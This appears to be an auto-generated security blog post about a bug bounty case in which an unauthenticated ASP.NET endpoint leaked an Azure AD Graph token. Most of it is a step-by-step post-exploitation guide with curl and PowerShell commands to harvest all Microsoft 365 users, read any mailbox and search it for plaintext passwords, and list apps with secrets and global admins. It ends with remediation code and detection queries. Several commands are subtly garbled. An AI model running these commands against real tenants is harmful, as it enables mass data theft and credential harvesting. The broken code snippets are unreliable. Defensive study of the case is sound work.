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Introduction:
Modern enterprises increasingly rely on API-driven authentication flows, where a single misconfigured endpoint can expose the entire cloud identity layer. In this real‑world bug bounty case, a publicly accessible API route—/api/Common/AppAuthenticationAsync—accepted an empty POST request and returned a privileged Azure AD Bearer token without any authentication, leading to complete Microsoft 365 tenant compromise, including executive mailboxes, global admin roles, and plaintext credentials.
Learning Objectives:
- Identify and exploit misconfigured Azure AD application authentication endpoints that leak client credentials.
- Perform post‑exploitation enumeration of Microsoft 365 users, groups, applications, and service principals using a stolen Microsoft Graph API token.
- Implement secure token acquisition patterns in ASP.NET Core to prevent server‑to‑client token leakage.
You Should Know:
1. Detecting Exposed Authentication Endpoints
Many Azure‑hosted applications expose internal authentication helper routes via Swagger or hidden endpoints. Attackers scan for patterns like /api/Common/AppAuthenticationAsync, /token, /auth/client, or /oauth/token.
Step‑by‑step guide:
- Use `curl` to test for unprotected token endpoints:
curl -X POST https://target.com/api/Common/AppAuthenticationAsync -H "Content-Type: application/json" -d '{}' -v - If the response contains an `access_token` field, you have found a critical vulnerability.
- For Windows (PowerShell):
Invoke-RestMethod -Uri "https://target.com/api/Common/AppAuthenticationAsync" -Method POST -Body '{}' -ContentType "application/json"
2. Decoding and Analyzing JWT Tokens
The leaked token is a JWT. Decoding it reveals the permissions (scopes) and target application.
Step‑by‑step guide:
- Extract the token from the response and decode the payload:
Save token to variable TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..." Decode payload (second segment) echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | jq .
- Look for claims like `”scp”: “Directory.Read.All Mail.Read User.Read.All”` and `”roles”` or
"appid". In this case, the token included organization‑wide read access. - Use online tools like jwt.io for a visual inspection (ensure you disconnect from the internet if dealing with real data).
3. Enumerating Microsoft 365 Users with Graph API
With a valid `Directory.Read.All` token, you can list all users, their job titles, phone numbers, and office locations – exactly the 47,939 users enumerated in the post.
Step‑by‑step guide:
- Call Microsoft Graph `/users` endpoint:
curl -X GET "https://graph.microsoft.com/v1.0/users?$top=100&$select=displayName,userPrincipalName,jobTitle,department,phoneNumber,officeLocation" -H "Authorization: Bearer $TOKEN" | jq .
- For pagination, follow the `@odata.nextLink` until all users are harvested.
- PowerShell alternative:
$headers = @{Authorization = "Bearer $TOKEN"} $uri = "https://graph.microsoft.com/v1.0/users?`$top=100" do { $response = Invoke-RestMethod -Uri $uri -Headers $headers -Method Get $response.value | Select-Object userPrincipalName, jobTitle, department $uri = $response.'@odata.nextLink' } while ($uri)
4. Accessing Mailboxes and Extracting Plaintext Passwords
The `Mail.Read` scope allows reading any mailbox (including service accounts like servicedesk@, hr@, careers@). Attackers search for password reset emails containing cleartext credentials.
Step‑by‑step guide:
- First, get a user’s ID (e.g.,
[email protected]):USER_ID=$(curl -s -X GET "https://graph.microsoft.com/v1./users?$filter=userPrincipalName eq '[email protected]'" -H "Authorization: Bearer $TOKEN" | jq -r '.value[bash].id')
- Then read the most recent emails:
curl -X GET "https://graph.microsoft.com/v1.0/users/$USER_ID/messages?$top=50&$orderby=receivedDateTime desc" -H "Authorization: Bearer $TOKEN" | jq '.value[] | {subject: .subject, bodyPreview: .bodyPreview}' - Search for keywords like “password”, “SAP”, “SFTP”, “credentials”. In the reported case, support emails contained domain admin passwords in plaintext.
- Enumerating Azure AD Applications, Service Principals, and Global Admins
The token also enabled enumeration of all enterprise applications, service principals, and global admin roles – leading to identification of 953 Azure AD apps (335 with active password credentials) and 8 global admins.
Step‑by‑step guide:
- List all applications:
curl -X GET "https://graph.microsoft.com/v1.0/applications?$select=displayName,appId,passwordCredentials" -H "Authorization: Bearer $TOKEN" | jq '.value[] | select(.passwordCredentials | length > 0)'
- Find global administrators:
curl -X GET "https://graph.microsoft.com/v1.0/directoryRoles" -H "Authorization: Bearer $TOKEN" | jq '.value[] | select(.displayName=="Global Administrator")'
- Then list members of that role:
curl -X GET "https://graph.microsoft.com/v1.0/directoryRoles/{roleId}/members" -H "Authorization: Bearer $TOKEN"
- Root Cause Analysis: Improper Token Handling in ASP.NET Core
The vulnerable backend used `AcquireTokenForClient()` (confidential client flow) but returned the resulting token directly to the frontend. This violates the OAuth2 security model – client credentials should never leave the server.
Step‑by‑step guide to correct implementation:
- Do not expose an API that returns a token. Instead, the server should use the token internally.
- Example of vulnerable code (C):
[HttpPost("AppAuthenticationAsync")] public async Task<IActionResult> GetToken() { var token = await _app.AcquireTokenForClient(scopes).ExecuteAsync(); return Ok(new { access_token = token.AccessToken }); // DANGER } - Secure version: The backend calls Graph API directly and returns only the needed data, not the token.
[HttpPost("GetUsers")] public async Task<IActionResult> GetUsers() { var token = await _app.AcquireTokenForClient(scopes).ExecuteAsync(); var graphClient = new GraphServiceClient(new DelegateAuthenticationProvider(req => { req.Headers.Authorization = new AuthenticationHeaderValue("Bearer", token.AccessToken); return Task.CompletedTask; })); var users = await graphClient.Users.Request().GetAsync(); return Ok(users); // Safe – token stays server-side } - Alternatively, use managed identities for Azure resources to avoid storing credentials altogether.
7. Hardening and Detection Against Token Leak Vulnerabilities
Organizations must proactively monitor for exposed token endpoints and anomalous Graph API calls.
Step‑by‑step guide:
- Azure AD sign‑in logs – Query for tokens issued to unexpected client applications or from unusual IPs.
- Kusto Query Language (KQL) example:
SigninLogs | where ResourceDisplayName == "Microsoft Graph" | where AppDisplayName == "VulnerableAppName" | where ResultType == 0 | project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName
- Network detection – Set up alerts when a public IP calls the vulnerable endpoint with an empty body. Use Azure WAF or API Management policies to block requests lacking proper authentication headers.
- Remediation scan – Regularly fuzz API endpoints for unintended token responses using custom scripts:
Dictionary attack on common auth paths for endpoint in AppAuthenticationAsync auth/token oauth/client gettoken; do curl -s -o /dev/null -w "%{http_code} %{url}\n" -X POST "https://target.com/api/Common/$endpoint" -d '{}' done
What Undercode Say:
- Key Takeaway 1: Service desk and support mailboxes are high‑value targets because they receive password reset emails – often in plaintext. Enterprises must enforce password reset links (instead of sending credentials) and use Azure AD Password Protection to block weak passwords.
- Key Takeaway 2: Returning a client credential token to an unauthenticated user is a design flaw equivalent to leaving the master key at the front door. Never let `AcquireTokenForClient()` results leave your backend.
- Analysis: This single API route (CVSS 10.0) enabled a full cloud identity compromise chain: endpoint discovery → token leak → Graph enumeration → mailbox read → password extraction → lateral movement to SAP, CRM, and infrastructure. The impact far exceeds traditional web vulnerabilities because Azure AD tokens grant access to all integrated SaaS and custom apps. Bug bounty hunters should prioritize cloud identity endpoints, Swagger files, and any route that seems to handle authentication. Developers must treat tokens like passwords – never expose them in HTTP responses. Organizations should implement token binding (Proof‑of‑Possession) and use continuous access evaluation to limit blast radius.
Expected Output:
Example of vulnerable API response:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJzY3AiOiJEaXJlY3RvcnkuUmVhZC5BbGwgTWFpbC5SZWFkIFVzZXIuUmVhZC5BbGwiLCJhcHBpZCI6IjExMTExMTExLTIyMjItMzMzMy00NDQ0LTU1NTU1NTU1NTU1Iiwicm9sZXMiOlsiRGlyZWN0b3J5LlJlYWQuQWxsIl19.xxx",
"token_type": "Bearer",
"expires_in": 3599
}
Decoded payload (using the base64 command) would show `”scp”: “Directory.Read.All Mail.Read User.Read.All”` – confirming the catastrophic scope.
Prediction:
As more organizations adopt Azure AD‑only authentication and expose custom APIs to reduce latency, misconfigured `AcquireTokenForClient()` patterns will become the “SQL injection of the cloud era.” Attackers will shift from exploiting traditional web bugs to hunting for unprotected token endpoints using automated crawlers that parse Swagger/OpenAPI definitions. Microsoft may respond by introducing runtime warnings for APIs that return tokens from confidential client flows, and bug bounty platforms will increase payouts for tenant‑wide identity bugs. Within 24 months, expect OWASP to add a dedicated category for “OAuth2 Token Leakage via Server‑Side Flows.” Enterprises that fail to audit their custom Azure AD integrations will face complete tenant takeovers – not if, but when.
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IT/Security Reporter URL:
Reported By: Walimohammadkadri One – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
